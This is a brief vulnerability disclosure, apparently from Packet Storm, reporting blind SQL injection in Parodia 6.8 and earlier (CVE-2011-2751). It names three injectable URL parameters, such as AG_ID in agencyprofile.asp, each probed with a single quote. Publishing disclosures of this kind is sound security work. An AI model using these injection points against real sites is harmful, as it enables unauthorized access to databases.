Parodia versions 6.8 and below suffer from multiple remote SQL injection vulnerabilities.
3346fbc895106be67797c2ad22951a0528f242762f726de17bfbffbe295c2925# Exploit Title: Parodia 6.8 and early SQL injection
# Date: June 24 2012
# Exploit Author:Carlos Mario Penagos Hollmann
# Vendor Homepage: http://www.parodia.net/
# Version: 6.8
# CVE : CVE-2011-2751
http://server/' ---> blind SQL
http://server/agencyprofile.asp?AG_ID='
http://server/employer-profile.asp?ag_id='
There are other SQL Blind injections ;)
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed